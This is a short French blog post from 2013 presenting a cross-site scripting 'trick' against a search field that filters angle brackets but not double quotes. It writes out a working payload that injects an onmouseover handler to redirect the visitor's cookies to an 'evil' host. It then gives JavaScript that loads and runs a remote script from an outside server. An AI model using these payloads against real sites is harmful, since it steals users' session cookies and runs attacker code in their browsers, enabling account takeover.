jeudi 26 septembre 2013

XSS, onmouseover et un peu de javascript

Je donne un petit trick que j'aime beaucoup avec du javascript pour faire du XSS.

Soit une page web avec un input type qui permet d'effectuer une recherche. Cet input est réaffiché sur la page de résultat. Cet input type est de la forme:
<input id="search_id" type="text" value="valeur">

Il se trouve que certains caractères sont mal filtrés, comme le " qui permet de fermer la value. Pour un XSS, il suffirait de faire un <script> classique, mais les caractères < et > sont bien filtrés, empêchant d'ouvrir des balises. Mais dans le input, puisque je peux fermer le guillemet de value, je peux alors ajouter d'autres attributs, comme onmouseover="". Et onmouseover permet d'exécuter du javascript.
Et ma requête devient plus intéressante, (je coupe en plusieurs lignes pour la lisibilité:
http://site/query?q=
valeur"onmouseover="javascript:document.location=
'http://evil/cookie='.concat(escape(document.cookie))"

Cela me permet de récupérer les cookies dès que l'utilisateur fait passer la souris dans la zone de recherche (qui par chance fait la moitié de l'écran).
Le site http://evil renvoie par un redirect vers la zone de recherche. Récupérer les cookies, c'est toujours intéressant, mais est-il possible de récupérer n'importe quel script js depuis un serveur externe?

Javascript est mon ami pour le coup, il suffit de modifier la partie javascript (en une seule ligne):
var scriptEl = document.createElement('script');
scriptEl.src = 'http://ha.ckers.org/xss.js';
document.body.appendChild(scriptEl);

et javascript va ajouter lui-même les balises <script> et </script>.
Nice trick, thx NDE.

Aucun commentaire:

Enregistrer un commentaire